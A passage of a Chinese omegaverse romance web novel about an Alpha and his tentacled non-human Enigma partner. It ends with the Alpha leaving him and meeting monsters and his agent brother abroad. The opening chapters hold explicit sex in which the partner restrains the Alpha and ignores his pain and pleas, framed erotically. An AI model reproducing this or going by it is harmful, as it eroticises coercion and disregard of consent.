但塔卢索天性恶劣,藏在爱意之下的是翻涌的独占欲。 那条凸起是他信息素注入原烙音腺体的证明,就算他并不是Alpha的唯一选择,即使有那么多与原烙音高契合度的Omega,也只有他愿意豁出命去提取信息素。 “好香。” 你只能是我的。 青柠也从犬齿制造的伤口溢出,原烙音闷哼一声,抱住Enigma没有反抗。 闵随还在低迷期。 “很热吗?”原烙音感受到闵随节节攀升的体温,甚至比湖边那次更烫,“闵随,你看着我。” 但好像男人已经听不懂自己的名字。 他将埋在他颈窝的脸扒出来捧住,果不其然闵随脸上弥漫着难以忽视的潮红。 “你现在还认识我吗?”他想起闵随说的认知失调。 闵随反应迟钝,但还能听懂,只是像机器人似的点点头。 “你快出去,我快控制不住了。”触手是他力量的来源,关系更像是互利共生。 原烙音选择忽略这句话。 他在闵随脸侧落下吻。 “标记吧。”他说的当然不是临时标记,比起隐瞒塔卢索身份的责难,他更不想让闵随承受原本不需要承受的痛苦,“你的低迷期是最重要的,暂时放掉那些矛盾,我们会有时间解决的。” 长久的对视,Enigma知道自己的眼中满是欲望。 即使直面狂风暴雨也面不改色,却因为不起眼的小事有泪流的冲动。 闵随感受灵魂的碰撞,他激烈地吻上去,就像是末世前万物崩塌,他们在世界失秩前的最后一吻。 此时此刻拥抱着原烙音,他才明白族中长辈所说。 ——“命定伴侣是上天赐予塔卢索的礼物。” ——“没有塔卢索能够逃离命运,祂们最终都会爱上命定伴侣。” 痛苦如磅礴大雨颠倒世界,而幸福是沙漠苦行者找到赖以生存的一泓清泉。 他的过去不堪,但如果这些都是他与原烙音在一起必经的考验,那回忆起来也不是那么难过。 那些谎言,那些自作聪明,最终化为子弹,正中他的眉心。 以为瞒天过海,以为能够凭借爱意轻易获得谅解,却忘记了包容是有限度的,他每一次所谓担心原烙音生气的侥幸与狡辩都在逐渐割断连通二人的唯一吊桥。 原烙音愿意原谅他。 他的爱人即使在被这样顽劣不堪的他欺骗后,依旧愿意向他敞开双臂。 “音音,你会不会很辛苦。”他们融化在乌木与青柠的吻中,现在到了重塑的时刻。 爱是常觉亏欠,原烙音鲜活而热忱,拥有一切他不曾拥有的美好特质,就像是最明媚热烈的阳光,能够穿透一切黑暗。 原烙音这样在爱里长大的人,无论是单身还是拥有伴侣,无论另一半是ABOE,他都会过得很好。 他不应该拥有一个将他卷入危险与未知世界,还会欺骗他的伴侣。 “那你呢,你不辛苦吗?”原烙音并没有正面回答,除了腺体残缺这个先天debuff,他的人生圆满算得上是超级幸运的小部分。 但闵随不一样,那么多年只有一个人,肩上背负着责任,还要隐藏身份完美融入人类社会。 “很幸福。”闵随想了很久,终于回答。 “非常幸福。”他又强调一遍,像是在宣誓。 从前不觉得,当遇见原烙音的那一刻,称为愉悦的情绪开始生根发芽。 原烙音却没有言语回应他,而是伸手抱住他的肩膀。 拥抱的瞬间是体温的交融,他们就如同天生一对又无奈分开的银环,在重逢时紧紧相拥,填补因为失去对方而产生的伤口。 “乖,出去好不好?”闵随感受到自己的意识在逐渐流失,他第一次中引诱剂的阴招,不能承担误伤伴侣的后果,“就等等我,很快我就出来。” “不。”原烙音顺着闵随的腕骨往上,挤开闭合的手指强行十指相扣。 看不见的标记在血液中流淌。 触碰比他们想象的更加艰难,属于各自的皮肤由于细胞呼吸散发热量而粘黏在一起,而黑暗中视觉被短暂剥离,其余感官会不断强化它们的存在。 闵随选择与他的命定伴侣共感,他放弃塔卢索能够无视光视物的能力,想像一个普通人类与Alpha分享此刻的欢愉。 生理结构决定信息素会侵占人体任何体表组织,甚至包括流出的汗液。 接吻能传达的信息素少得可怜,从一千个吻中汲取的信息素加起来可能都不够一次临时标记,但唇与唇相贴,其目的也不可能单单只是为了那一点点青柠或乌木。 上位姿势刚一开始总是艰难的,原烙音的腰间缠绕着两根比他手腕粗的触手,上面的吸盘一收一缩就像是它们有生命控制。 上,下。 或许伤敌八百自损一千这句俗语能够形容原烙音此刻的处境。 汗水从他的额角往下淌,顺着肌肤因地心引力汇聚于他与闵随重合的部位。 “怎么,闵总这是受不住了?”他恶意挑逗,成功听到闵随的喘息,但这还不够,他属于完全的进攻型选手,猎物主动露出脆弱的脖颈就是最好的礼物,“松开手,闵随,松开手。” “你的触手恨不得把我的腰勒断了。” 他看到Enigma挪开挡住眼睛的小臂,虽然黑暗中朦胧不清,但大脑总会为宿主构造出最心仪的美好画面。 Alpha选择用青柠去抚摸男人湿润的眼睫。 “这就是你的低迷期?”追逐刺激是Alpha的天性,即使他知道与处于发情期的怪物共处于这个紧锁的房间,永远不会有人打扰意味着什么,他抓住蠢蠢欲动的触手,蓝色荧光能够照亮他皮肤的纹路,e on!闵随,你还在装什么纯,这是你触手第三次试图往我嘴里塞了。” 他能够从建立的完全标记中感受到闵随的忍耐,征服欲战胜一切。 Enigma并没有动作,原烙音单手擦过脸上往下滑的汗,改变既定的轨道任由发梢滴下的水珠落到自己的胸前。 人的眼睛在黑暗中会呈现出奇异的微弱光芒,原烙音就像是隐匿于深夜的黑豹,盯住猎物俯下身。 从胸口蔓延而下,手指微微划过人鱼线,他的唇落在隐秘之处。 或许还有其他地方。 温度的过渡自然,手指划在微凉的地界,而他的吻落在最灼热的地方。 感受到肌肉的紧绷,Alpha恶劣的欲望得到满足,他抬起头,食指与中指微微分开,横向拂过尚未闭合的唇,力道很轻,仿佛只是为了擦去沾染的腺液,而闵随的触手焦灼地拍打床面,传出巨大的声响。 “还要忍?”他不满意闵随故作平静的现状,重新跪立于闵随的身上,只不过这次两颗心脏的物理距离显然拉近,“你流了好多汗。” 他借着触手微弱的荧光,刚刚擦过嘴唇的手指拭去闵随侧脸的汗珠。 从指根到指尖,原烙音伸出舌头。 “乌木味的。” 他当然知道闵随不敢轻举妄动,一摊子乱账还等着后面清算,Enigma现在的乖巧都是为了挣表现。 既然如此。 原烙音抓住Enigma的头发,眼神中是不容拒绝,他享受将闵随控制在指尖的快感。 “张嘴。” 生理与心理统一战线,原烙音闭上眼睛仰起头,忍不住揪住闵随的头发往前拉。 他感受到触手蠢蠢欲动在他的背部滑行,但他不在意。 “可以吗?”Alpha问道。 他知道,闵随不可能拒绝。 这是仅次于完全标记建立的快感,是完全建立于他是征服者而非被掠夺者的基础上,由于Alpha与Enigma的性别天生差异,他们在Enigma面前就是被狩猎的目标。 “怎么不吐?”他按开灯,躺在闵随的身边,看男人红肿的唇飞速恢复原状。 “青柠味的。”命定伴侣的信息素能够抚慰塔卢索的低迷期,将祂们从欲念的漩涡短暂拉出。 “低迷期还没过,你来吧。” 得到许可的Enigma撕去伪装,他知道Alpha满足后能够包容他一切过分的行为,便单手没用力扼在原烙音的脖子,俯下身咬穿心脏上方的腺体,带着口腔中还没散去的青柠一同涌入。 他舔去原烙音腺体溢出的血珠,就像饱餐一顿但还虎视眈眈的恶犬。 “谢谢音音的奖励。” “这就够了?”原烙音膝盖曲起,慢慢打开腿,声音压得很低就像引诱水手改变方向的海妖,“机不可失。” 闵随握住熟悉的部位推高,没有眼镜遮挡,他眼中搅动的触手就像是熊熊燃烧的黑色火焰,触手控制Alpha的四肢,Enigma终于感受到源源不断的欲望按下暂停键。 他一眨眼,又有新的触手加入战局。 “不,闵随!”原烙音这才清晰地认识到自己玩脱。 “嘘。”闵随竖起的食指抵在他唇上,那枚戒指就在一旁,闵随的笑在昏暗的灯光下若隐若现,“乖,音音。” “你受得了。” 第56章 第 56 章 闵随失去控制了。 在他数不清年份的生命中, 这是件极为稀奇的事情,就算幼年期因不合群遭到霸凌,他也从来没有失去理智,而是选择卧薪尝胆, 让所有人都付出代价。 即使失去了视为家人的西亚莉, 他也从不后悔。 失控, 是属于弱者的名词。 但在与命定伴侣的感情中, 塔卢索永远都是弱者。 “填满了。”他带着薄茧的手指轻轻划过原烙音微微隆起的小腹, 眼神缱绻, 就像是望着生命源泉的酒徒。 低迷期的影响比想象中要大, 原烙音清醒地意识到自己在接受何等摧残,他听着熟悉的嗓音说出闵随清醒状态下绝对不可能说出的话, 想要回复却无可奈何。 “是不喜欢吗,为什么不睁眼?”Enigma恶劣得就像是变了个人,他控制着凌乱的节奏, 按住原烙音锁骨中心漂亮的凹陷,忍不住在旁侧留下咬痕。 “你好乖, 咬腺体好不好。” 原烙音在三个小时前主动要求标记, 现在他比谁都要后悔。 就该让闵随在低迷期烧死的。 腺体上各类痕迹遍布, 再承受过度标记实在勉强, 原烙音奋力翻身, 就像是干涸沙滩上找不到水的鱼。 他感受闵随在体内搅动, 发出难耐的喘息, 用漂亮的脊背吸引Enigma的目光,保护他脆弱的腺体。 原烙音的背有一条线, 闵随的触手尖顺着滑下,到他们重叠的点厮磨, 挤压,想要加入这场狂欢。 “啊!”撕裂的胀痛感叩击灵魂,原烙音想往前逃避恐怖的快意,却因为腰间束缚着触手无能为力。 Alpha的手骨节分明,无力地握住纯黑色床单,但很快就被另外一只手掀翻扣紧,闵随对着他的肩胛又吻又咬,要在这片地方留下属于自己的痕迹。 随着躯干晃动着,双方发出难耐的喘息。 “我要死了。” 原烙音喉咙干涩,拼尽全力只是让Enigma暂时滑出大半,这样的动作却被失去理智的Enigma误认为逃跑。 就像是动物界用牙齿痛击雌兽,让她们不敢逃跑,闵随在湖岸没有咬下的那口,终于落到原烙音的后颈。 “闵随!”他不是Omega,脖颈处没有处理信息素的腺体,闵随注入的大量乌木只能让他痛苦,“闵随,我好疼,我真的好疼。” 抽筋剥皮也不为过,偏生还有重叠的快感,原烙音撇过头去,任由眼泪流进枕头。 “不疼。”闵随还能继续说话,但他的瞳孔完全消失,或者是扩散到整个眼睛,纯黑的眼珠诡异又惑人,他完全受到欲望驱使,只是用爱命定伴侣的本能回应,“乖乖,你好漂亮,我们不咬脖子了好不好。” 不咬脖子又能咬哪呢? 不论是不是低迷期,但凡在床上,闵随比口欲期的孩子好不了多少,嘴里总是要叼着属于他的部分。 “我想休息。”就算他是高量级Alpha,也不能承受这样高强度的运动,四个小时不间断还不是Enigma的极限。 “是渴了吗?”闵随吻住他的脖子,端起桌旁近乎冰冷的水含了一口,渡到原烙音口中。 颠簸让那口水大半顺着嘴角滑落,原烙音呛得直咳。 等缓过劲后,他又迎接新一波充满惩罚意味的浪潮,而Alpha心脏上方的腺体几乎快烂掉了,从里到外散发的都是属于闵随的乌木香。 明明只需要一点点分泌液就能完全消除这些咬痕,但Enigma就是不肯,亲吻和舔吮一个不落,尤为满意亲手制造的作品。 这个疯子! 闵随的警告不是假话,他真的认不出面前的是谁,只感受到来自灵魂深处的满足。 要咬,要注入信息素,要留下标记,临时的,完全的。 这是他的命定伴侣。 这一刻人类社会的ABO于他而言都如同无物,天地万物都消失不见,只留下一张床,和他,和他的爱人。 触手逐渐接管了闵随大半的身体控制权,它们肆意缠绕在原烙音身上,不费吹灰之力就能让原烙音动弹不得,只能保持献祭自己的姿势,就像是捆绑在神坛上等待命运终结的羔羊。 闵随抓住原烙音的小腿抬高,偏过头轻轻咬在他的跟腱。 这样的刺激原烙音受不住,无论是生理还是视觉。 “闵随!闵随!”待触手松懈,原烙音拼命挣脱,原本被堵得严严实实的东西都倾泻而出,沾白了黑色的床单。 生理性眼泪流了满脸,原烙音全身都痛,他从来没有那么恐惧过,失控的闵随好几个瞬间让他误以为自己是Omega。 “想跑?”闵随歪头。 原烙音再也忍不住,抬起手。 清脆的巴掌声响起,时间都仿佛停滞一瞬。 Alpha也呆住了,他实在是没有控制住,俗话说打人不打脸。 但是—— 好爽。 闵随抓过他的手,咬住手掌边缘的薄茧,说话模糊不清。 “爽了吗?不够可以继续打。” 但下一刻原烙音就被掀翻,双手桎梏在头顶动弹不得。 Enigma用的是塔卢索的力量,就算是原烙音也不能够挣开。 “现在不打,你待会可没力气抬手了。” 熟悉的痛感袭来,夹带着丝丝缕缕爽,原烙音咬牙,忍不住意识沉沦。 这个不要脸的老东西! * 原烙音在混沌中醒来,浑身上下都是肆虐的痕迹。 整整四天的混乱,闵随就像是饿死鬼死前最后一顿美餐。 “乖,这几天积累了不少工作,我可能还要出外差。”闵随打好复杂的领带结,自然地偏过头亲了口坐直身子但明显不太清醒的原烙音,牵过Alpha的手握在掌心,“等我解决好问题,我们就去旅游,拉乌斯蒙德,桑尼顿,或者是国内,我有很多房子。” 看来低迷期解除了。 可原烙音并没有那么想和闵随出游,信息素控制下的迷乱褪去,欢愉过后是对自己的责难。 信息素掌控大脑,用快感让Alpha变得像一条狗,无论对方做过什么好事,他们都能冲着那块肉摇尾巴。 “我也有很多房子。”原烙音抽回手,他的排斥在闵随意料之内,毕竟前几天的情迷是计划之外的惊喜。 “那我先去工作,今晚给你做糖醋小排。” 原烙音表情并没有松动,他裸露出来的锁骨全是密密麻麻的痕迹,就像是遭受过一场凌虐。 他不想吃。 问题并没有随之解决,爱这张漂亮皮囊下是逐渐腐朽的血肉,他们认识得太巧然,熟识得太刻意,在一起又太快,很多了解,很多又不了解。 “你先走吧,我再睡会。” 闵随不再凑上去惹人嫌,他有把握哄好原烙音,只是要先解决不知死活的西亚莉。 房间很快就回归平静,原烙音透过敞开的窗帘,看到黑色的迈巴赫缓缓驶离,他垂下头,任由暖阳抚弄他的脸颊。 两次谎言,但这段感情不可能因此轻易结束。 但原烙音更不想将其作为其余谎言的开始。 闵随专断,独裁,这在这段感情中逐渐揭露。 明明可以提前告知共同面对,可闵随偏偏自认聪明,觉得万事万物都逃不出他的掌心。 之前那么不想塔卢索身份暴露,到最后为了逼走他不惜设计让他一点一点发现端倪。 或许他该如闵随所愿。 准备好一切,原烙音拖着搬进来时那个行李箱,再也没有回头。 只有餐桌上的一摞银行卡与一张写满密码的A4纸无声地目睹他的离开。 “父亲,您之前提到的事情,我考虑好了。”他打通家里的电话,决定承担属于自己的责任,可是这个答案好像很难说出口,在他下一句话响起前,有很长一段只听得见呼吸声的空白,“我想遵循腺体治疗好前的计划全球旅行,完后回到邛光。” 原衡铎扛不起大梁,父母虽未明说,还是希望他回到身边。 只是他从前在闵随和原氏之间摇摆不定,飘摇的浮萍忽然长出牢牢扎进地底的根,他拥有与正常人同样长的生命,而非绚烂短暂如烟花的二十几年。 爱情,不过是人一生占比很小的部分。 “那闵随呢?” 原烙音从未想到一直避而不谈的父亲会主动提起闵随,他离经叛道的“Alpha”恋人,他走到末路的穷巷。 他此前不曾考虑过未来,只觉得牵牵手就能达到永恒,可是现实斑驳,AA和EA伴侣甚至不能有一张具有法律效应的结婚证。 “我们吵架了。” 他不太想与父母细说私事,幸好他的父亲也不喜欢对他刨根问底。 “那就好。” 没等原烙音反应过来,原仲盛就挂断电话。 闵随车库里面的大G是他的,原烙音关上后备箱,一通电话将睡梦之中的寇准星唤醒。 “什么,环球旅行!!我也要去!”寇准星嫉妒得咬牙切齿,二十分钟后出现在大G的副驾驶。 “你居然不带我,太过分了。” “是因为寇博士项目繁忙,抽不开身。”原烙音指尖轻轻敲着方向盘,“到时候我把车钥匙给你,随便开。” “还有我爸妈在学校周边买了套公寓,密码0172,拎包入住。” “我靠,这还是我原爹吗?”寇准星恨不得往他脸上啃两口,“那你什么时候回来,我亲手操办欢迎派对。” “再看吧。” 事情太多,他回到邛光后需要从头开始,而Omega腺体的事现在都没有定论,那块后颈上定时炸弹一般的伪腺体时时刻刻提醒他,他是一个被别人标记的Alpha。 寇准星咋出些味道,表情渐渐凝重,正准备问就见原烙音靠边停车。 “停这干嘛?” 标志性的翅膀雕像,一眼就知道是海鸥广场。 “买点东西,在车上等我。” 第57章 第 57 章 走过孤寂的海鸥广场, 原烙音站在熟悉的位置回头,白鸟不见身影,连带着爱神雕塑也稍显落寞。 还没摸到盛夏悄悄溜走的尾巴,冬季就快要来临, 但首都还没有下第一场雪。 他与闵随也认识了快一年时间。 七十八块砖, 五十八点五米的距离, 再也看不见闵随。 原烙音随便找个临停车位, 关上车门往外走, 路线巧合地与闵随那日重合。 他走进小卖部。 “先生, 您想要什么?” “这是什么。”灵光一现的糖被掐灭, 高量级Alpha的灵敏嗅觉捕捉到散发到空气中的微弱分子,从混乱的气息中准确拿出哪一只。 “香水。”老板摸摸后脑勺, 偏过来看了眼,费劲辨认,“新货, 这个是……乌木。” “就要这个了。” 原烙音靠在细纹明显的砖头墙壁,这里的建筑与数据所有些相似, 但这一次他不会再碰见闵随。 离开, 只是为了逃避不知会不会发生的第三次欺骗。 他打开那只不足手指粗的玻璃瓶, 透明油状液体摇晃, 劣质的香氛气息散发出来, 与闵随身上的清淡气息截然不同。 是这样吗? 真的只是担心欺骗再次降临? 原烙音放弃自己想要将香水扔进垃圾桶的冲动, 他深吸气, 意识到自己并不是不想报复闵随的。 他要报复,即使两败俱伤, 他也要闵随痛苦。 凭什么闵随可以按照自己心意一次又一次喂给他裹着蜜糖的毒药,再用渴求的眼神祈祷他的原谅? “凭什么?”原烙音抽出一支烟点燃, 他没抽过,呛得整个气管都是辣的。 他的车停在路旁打着双闪,驾驶座是木着脸的寇准星。 “八分钟,再晚要罚款了。” 原烙音掐灭火星,连带着那一整包残余都塞进垃圾桶。 坐上驾驶座,他头靠在车窗,眼前闪过陌生的风景。 胸口忽地一痛,是寇准星给了他一拳。 “丧这个脸干嘛,又不是老婆跑了!”寇准星降下车窗,扇扇风满脸嫌弃,“你闻闻你身上的烟味,这是吵架还是分手了,来让感情高手给你分析分析。” 可是Enigma和塔卢索的事情又怎么说得清楚,连他都牵连其中深受其害,寇准星知道了也只会徒增担心。 于是他笑着摇摇头,随口解释试图大事化小小事化了。 “没什么,冷战。” 他不清楚自己的各自冷静是借口还是逃离的托辞,但他清楚若是解决不好,旅行结束后他将再也不会回到首都。 胆小鬼也好,刺猬也罢,他就是接受不了闵随随意欺骗后又像是逗猫逗狗般哄两句。 而他,明明知道问题没有解决,却自甘沉沦。 “冷战可不行啊……”寇准星也是暗地里收过兄弟男友不少好处的爱情守卫者,但他透过车内镜看到原烙音眼下青黑与颓丧的神色,也将那些劝给吞回肚子里,“那你要报平安,要是闵总问到我就说不知道。” 原烙音没再回应,他脑子很乱,东西太多一点一点砸过来,但又前所未有的清醒,他清醒地认识到自己正在一点一点远离。 远离闵随的一切。 或许闵随还在开会,还在为IMS的未来忙碌,但他更期待自己十年前就写下的计划。 就这样吧。 他要开始新的旅程了。 * 朗伯里奇,举世闻名的血腥之都,这里有最美丽的海湾风光与最排斥外人的居民,冲突时有发生。 但原烙音在这里有房子。 家政公司提前打扫过,原烙音躺在沙发上,看手机上数不清的未接来电。 大半来自闵随。 “音音,你在哪里?”电话拨通后,闵随好像并没有怀疑这个新的电话号码主人会是别人,语气焦灼而急促. 但他显然很快就反应过来自己被抛在国内的事实,只能强迫自己冷静。 “音音,我做错了很多事,不奢求你能原谅,但我还是想要为自己争取一个解释的机会。” 可惜原烙音并不想听,结合这段时间发生的事情,他也能猜得八九不离十。 “闵随,我如你所愿。” 他毫不掩饰自己想要惩罚自作聪明的Enigma的恶劣心思,尾音上扬截断闵随的下一句话。 “非要我发现你是塔卢索,不就想逼我走吗?”他知道,闵随无力反驳,毕竟那场戏可能是闵总这辈子演得最烂的一场。 “再见。” 他望向窗边,朗伯里奇的建筑风格迥异,独立的三层,主体为木质结构,玻璃占据大半墙面,还有一扇能够轻易踹开的门。 邻居在这个并不友善的城市只是一个代表距离远近的称呼,原烙音来朗伯里奇的次数屈指可数。 他总是把这里当作中转站,吃一顿自己喜欢的炸鸡啤酒后继续飞往下一个目的地。 酒吧,是汇聚着失意人的场所,觥筹交错间,烦恼抛诸脑后,几口酒下去,就有可能搂着别人的腰出门。 但这显然不是原烙音。 高量级Alpha,能一眼看出的亚裔长相,还有令人趋之若鹜的青柠味信息素。 别人可闻不到混杂其中的乌木香,那是独属于Alpha与Enigma隐秘的联结。 "You are sweet."金发碧眼的Alpha递给他一杯威士忌,对他的兴趣全部都藏在眼里,那双深邃的海蓝色眼睛里翻涌着令人作呕的欲望。 都是来寻找one night stand的。 原烙音实在不能接受这样的观念,哪怕是已经与闵随分手,他也不会容许自己成为别人猎艳的目标。 "Get away from me."原烙音环视一圈,全是相谈甚欢的AABBOO,这是一家同性恋酒吧。 他来错地方了。 身在国外原烙音并不是很想惹事,他在朗伯里奇的房子二楼有一个保险柜,里面放了几把枪,但他没拿。 酒钱连同小费放在桌上,原烙音没搭理不识趣的外国Alpha,勾着外套离开。 他有些不舒服,酒吧灯光昏暗,想要看清楚什么都不太容易。 但Alpha这一物种天生神经敏感,他本能感觉到有视线在注意自己,就像是粘腻潮湿的舌头,他有一瞬间觉得自己像误入盘丝洞的唐僧,即将被人分食。 "Your life is about to end."阴冷的语调从身后传来,令人毛骨悚然。 原烙音转过头去,是一个看起来年纪不大的teenager,皮肤很白,黑色连帽衫看起来不太合身,挡住了大半张脸,神神叨叨地不知道在念什么。 生命即将终结? 哪里来的神经病。 "Excuse me"原烙音不敢轻举妄动,大晚上街道上面没几个人,他没带枪,也不清楚对方有没有带。 "You will die."少年继续开口,就像是一条腹部沾满液体滑行的蛇。 "What are you talking about"原烙音大脑飞速运转,他落地不超过六个小时,在这里举目无亲根本没有机会招惹到什么帮派和组织,从前无聊打发时间的美剧一集又一集蹦到眼前,事实证明他就是标准死于话多的受害者。 事不宜迟,原烙音转身就走,他计算着自己回家后拔枪的速度,不管怎么计算都感觉死路一条。 "Hey!"他主动走进堆满垃圾的小巷,转过身。 那个少年果然跟了进来,袖子太长太宽,他一抬手就滑到胳膊肘,反而露出一串手链。 是那个同□□里面高级用户会佩戴的饰品。 原烙音反而是放松不少,说不准就是看上他这张脸或者是信息素,只要是人就好。 他也是被闵随的人外身份给整魔怔了。 "I will eat you."语调奇怪,就像是刚刚学习语言的生物,比机械音更加诡异,还有那个少年从皮肉中散发的气味,配合着朗伯里奇带着腥味的风,就像是存放了一个月不管的臭腌鱼。 原烙音还没来得及说话,就见着对面的陌生少年头骨开始变形,从锁骨处开始长出深色鳞片,逐渐往上延伸,随着两指宽的蛇信子吐出,连帽衫滑落露出硕大的蛇头,张开近一百五十度的嘴涎水粘连,腥臭无比。 竖瞳毫无感情,完全将Alpha视为入腹的美餐。 长了个蛇脑袋还比他矮。 原烙音努努嘴,他就知道自己的感知没有错,刚刚那个酒吧并非同□□那么简单,说不准里面混迹的高级用户都是非人生物。 有了一二三次冲击,原烙音接受良好,他转动自己的手腕,一拳上去。 蛇人嘶吼一声轰然倒地,就像是个出场满分的烂尾物件,不堪一击。 原烙音踩住他的脖子,几乎能听到骨头咔咔的声音,而蛇人还不死心伸出信子,即将碰到他的鞋。 “砰!”Alpha想都没想,一脚踹中他的腹部。 蛇人飞到墙上又掉进变形的垃圾桶,原烙音一捋头发准备回家,就听见警笛的声音。 "INSO!" "Don''''t move.Put your hands where I can see them." 什么东西!原烙音看着对面穿着防弹衣手拿重型武器的专业人员,当即举起手投降。 手铐很快扣到他身上,原烙音只想大呼冤枉,而凶神恶煞的队员间,有个鬼鬼祟祟的粉毛正朝悍马车后躲,试图掩耳盗铃扮鸵鸟装死。 “原——衡——铎!”异国他乡,自己的蠢弟弟穿着防弹衣,准备捕捉自己的亲哥哥,“你给我过来!” 第58章 第 58 章 “Yuan?”按着原烙音肩膀的探员身高近两米, 黑人,毫不夸张地说那就是一头棕熊。 原烙音这辈子被铐的次数屈指可数,一次是完全标记后,一次就是今天。 发现自己哥哥即将进入狂暴模式, 原衡铎腿一迈, 跨过地上的水坑, 拉走棕熊探员交谈几句, 拿到钥匙后亲手解开手铐, 下一秒就捂住脑袋蹲下。 正好原烙音一拳砸在他头顶。 “哥哥哥!听我解释听我解释!”原衡铎痛得一通乱叫, 而他的队友知道原烙音身份后看天看地, 就是不看要倒霉的原衡铎。 “准备画展?放松心情?”原烙音看他那头死活不肯换颜色的粉毛气得不轻,家里送原衡铎出国是为了深造, 谁知道该准备画展的Alpha摇身一变成了什么INSO的探员,“原衡铎,今晚回家。” 这简直就是死亡预告。 原衡铎恨不得自己今天出门摔一跤错过任务, 谁能想到那么倒霉,异国他乡能够抓到本来该在首都幸福生活的原烙音。 “这个蛇想要吃我, 我自卫没问题吧?”原烙音下巴一抬, 示意垃圾桶里半死不活现在还没爬出来的陌生蛇人, 他半点没有愧疚心思, “下手有点重。” “没问题, 没问题, 本来就是要逮捕它。”原衡铎假笑露出八颗牙, 将手枪插在身后,提前下班, “我跟哥回家。” 路灯不太亮,还有止不住往上扑的飞蛾, 原衡铎双手插兜,写着INSO的防弹衣还没脱,缩着头就像只鹌鹑。 “我有没有说过,粉色真的显得你很黑。”原烙音也不打算回去告状,每个人都有自己的路,他决定要回去承担原氏的责任,多多少少也是为了原衡铎能够选择自己喜欢的路,“你平常住在哪?” “不在这,我们有专机,是飞来这里执行任务的。”原衡铎毕业后彻底放弃艺术道路,机缘巧合成为非人外生物研究员, 其实,他待在国外的时间很短,经常偷偷回国,过家门而不入。 但这些他暂时不太敢让家里知道,就像原烙音刚到首都与万盛签约时也是瞒着父母。 有些坑坑洼洼的石子路旁是邻居家的小花园,那些肆意生长无人修剪的花枝在黑夜与月影下诡异地晃动,邻居是一个戴着鸭舌帽的白人壮汉,正举着水管浇花,冷冷看兄弟二人一眼后关掉水阀转身进门,排斥的意味很重。 “哥,你别太在意了,朗伯里奇的人是这样的,特别排外。”原衡铎拽过原烙音,表情有些奇怪像是想起了什么并不美好的往事,“这里枪击案发生率是整个州最高的,一言不合就biubiubiu。” 歧视与冲突在这个童话小镇中就如同喝水般容易发生,就像是真实的故事结尾,鸽子啄瞎了灰姑娘姐姐的双眼,而王后要求猎人挖出白雪公主的心肺品尝,最终却修改后成为温和的版本,朗伯里奇的血腥暴力外人不为所知,却总是被它无与伦比的美丽引诱。 “我明天就走。”本来朗伯里奇就是中转站,他只是碰巧在这里有房产,他已经见过拉乌斯蒙德的海滨风光,也不太期待这里的景色,“最迟两个月我会回国,到时候希望你已经和家里解释你现在的工作,Agent Yuan。” 为了逃避与闵随之间还没彻底解决的诸多问题,他进行早就遗忘的全球旅行计划,没想到却阴差阳错遇见前二十多年从未见过的人外生物。 心情糟透了。 对面的原衡铎冷汗直冒,本能告诉他要不是错误时间错误地点,他应该被自己哥哥按在地上结结实实打一顿。 从小到大审时度势的原衡铎同学注意到原烙音逐渐难看的脸色,不管是不是因为自己的马甲掉落,逗自己哥哥开心就是头等大事。 不然倒霉的迟早就是他。 “汪。”小狗微弱的叫声吸引了二人的注意,原烙音扒开发出声音的草丛,里面卧着一只还算干净的白色小狗,长得很漂亮,正在朝他摇尾巴,“呜呜。” 【快来快来把我抱回家】 只可惜它的脑电波原烙音接收不到,而这只出现在异种泛滥街区的小狗认出这是塔卢索的伴侣,疯了一样非要抱大腿。 “这啥狗啊,看不出来。”原衡铎抓起小狗的后颈皮毛,另一只手认真扒拉半天,“傻不拉几,还是只公的。” 小狗刚准备回头咬两口展现自己的雄风,就闻到了原衡铎身上来自深海的气息。 都快腌入味了。 这是塞壬的伴侣,它也惹不起。 “土狗吧。”原烙音也不确定,但朗伯里奇昼夜温差极大,连他穿着厚外套都有些冷,不管不顾的话这只小狗活不到明天太阳升起,“这是什么?” 白色小狗的脖子上挂着一张名牌,上面花体字刻着一段话,原烙音打开手机电筒费力辨认。 【My name is ABC.】 【Can you take me home.】 “先带回去吧,不然活不下来。”原烙音将ABC抱进怀中,听着小狗微弱的呜咽,“我想起Bunny小时候了。” Bunny是养在原家半山别墅里的黑白边牧。 “bibobibo!!!” 走到门口,原烙音单手抱着ABC刚准备打开门,原衡铎手机就传来刺耳的铃声,提示音几乎开到最大,目的就是为了防止原衡铎这个万年手机静音不接电话党及时接听。 离得不远不近,声筒传来参杂着中文和英文的杂音,原烙音不打算误听,站远了些,见原衡铎脸色越来越沉重。 “哥,我有任务。” 紧急任务压来他只有走,而且涉及机密,半个字不能透露给无关人员,哪怕是亲哥哥。 他深吸口气。 “我结束后就回来。”他从腰后抽出另一把枪,递给原烙音,“这是专门针对异种的□□,千万不能用来打人。” “哥,车钥匙给我吧,我知道车库还有几辆车。”原衡铎接过原烙音抛来的车钥匙,想解释但时间不允许,“我会解释。” 熟悉的话语,他前两天还听过。 闵随顶着这辈子难见的狼狈模样,可笑地被住客关在门外,扣着门板祈求他的原谅。 依旧改变不了欺骗的本质。 他只能控制住不要迁怒自己的弟弟。 “不了,我明早的飞机,二叔把私人飞机借我了。”原烙音知道再拖下去对原衡铎没什么好处,他生气之余更多是担心,“你虽然是Alpha,但自小体弱,现在面对的都是些什么东西。” 现在这些话都没有意义,原烙音不再继续往下说。 原衡铎敏锐地意识到哥哥生气了,但这次与从前不太一样,他连撒娇求原谅都不敢。 “那个人呢。”他看见房子关着灯,猜到闵随不在,但他有些讨厌抢走哥哥的闵随,这样的关心让他感觉有些尴尬,有些嘤嘤嗡嗡,声音细若蚊吟,“那个……闵随。” 不知道的还以为这个名字烫嘴。 “我没来,我现在考虑和他的关系。”原烙音不打算细说,推开门往里走,“我或许正在经历你曾经历过的事。” 原烙音没反应过来,见原烙音半个身子都进门后拽住哥哥的手腕。 “那个哥,”原衡铎心一横,什么机密什么责任都抛开了,哪怕因此被处罚他也不怕,“我在国内总部见到闵随的资料了,虽然全部都是绝密,但我敢肯定他不是人。” 他也是几天前才无意中发现,闵随那份资料绝密等级比傅云泠都还高,这几天闲下来都在考虑要不要告诉哥哥。 毕竟这不是对方出轨这种道德伦理必须要分手的事。 “不然你以为我为什么走?”原烙音将怀中不耐烦扭动的ABC放在地板,“你要迟到了,Agent Yuan。” 腔调都和棕熊探员叫他的一样。 完了,哥哥绝对气得不轻。 原衡铎乖乖松开手:“哥,拜拜。” “快点滚蛋。”原烙音气到发笑,只有这种时候原衡铎才会乖得像个鹌鹑。 * 